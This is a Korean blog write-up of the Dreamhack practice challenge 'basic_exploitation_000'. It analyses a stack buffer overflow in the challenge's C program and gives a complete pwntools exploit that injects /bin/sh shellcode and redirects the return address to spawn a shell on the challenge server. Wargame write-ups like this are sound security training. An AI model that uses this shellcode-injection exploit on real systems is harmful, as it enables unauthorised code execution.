혜랑's STORY

[System Hacking STAGE 4] basic_exploitation_000 본문

무지성 공부방/Dreamhack SystemHacking

[System Hacking STAGE 4] basic_exploitation_000

hyerang0125 2022. 1. 27. 13:14

역시 가장 먼저 문제 파일을 다운받은 후 c 파일을 열어 보았다.

basic_explotation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

 buf의 주소를 출력하고 scanf로 buf를 입력받고 있다. 이때 크기를 141로 지정하였지만, buf의 크기는 0x80(128)으로 정해진 buf의 크기보다 더 많이 입력할 수 있다. 이는 버퍼 오버플로우 취약점이 발생한다는 것을 의미한다.

 

 일단 바이너리를 실행하고 'A'를 7개 입력해 보았다.

역시 buf의 주소를 출력한 뒤 입력을 받고 종료하는 것을 볼 수 있다. 이번엔 트리거 발생시키기 위해 'A'를 엄청 많이 입력해 보았다.

 디스어셈블된 코드와 스택을 관찰해보니 프로그램이 main 함수에서 반환하려 하는데 스택 최상단에 저장된 값이 입력값의 일부인 0x41414141('AAAA') 라는 것을 알 수 있었다. 이는 실행 가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생하고 위 값의 위치에 원하는 코드의 주소가 되도록 적절한 입력을 주면 원하는 대로 실행을 조작할 수 있을 것 같다.

디스어셈블된 코드를 보고 취약점이 발생하는 부분을 의사코드로 표현해 보았다.

scanf("%s", (ebp-0x80));

즉, 오버플로우를 발생시킬 버퍼는 ebp-0x80에 위치하고, 스택 프레임의 구조를 떠오려 보면 ebp에 스택 프레임 포인터(SFP)가 저장되기 때문에 ebp+0x8에는 반환 주소가 저장된다. 확인을 위해 'A'*0x80, 'B'*0x4, 'C'*0x4개를 입력값으로 줘 보았다.

역시 0x43434343('CCCC')이 들어가 있다. 이제 페이로드를 작성해 보자.

셸코드 + dummy + retuen address

셸코드는 인터넷에 있는 26바이트 길이를 선택하였다.

shellcode = \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

그렇다면 더미의 길이는 (0x80+0x4 - 26)가 된다. buf에 셸코드를 입력하였기 때문에 return address는 앞에서 제공해준 buf의 주소이다. 이를 바탕으로 익스플로잇 코드를 작성해 보자.

익스플로잇 코드
from pwn import *
context.log_level = 'debug'

#p = process('./basic_exploitation_000')
p = remote('host1.dreamhack.games', '18140')

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil('buf = (')
ret = int(p.recv(10), 16)
p.recvuntil('\n')

payload = shellcode
payload += b'A' * (0x80 - len(shellcode))
payload += b'BBBB'
payload += p32(ret)

p.send(payload)

p.interactive()

python3 버전은 string이랑 byte형을 구분해서 애좀 먹었다,,, (꼭 앞에 바이트형을 나타내는 'b' 붙여주기,,,ㅎ)

암튼 성공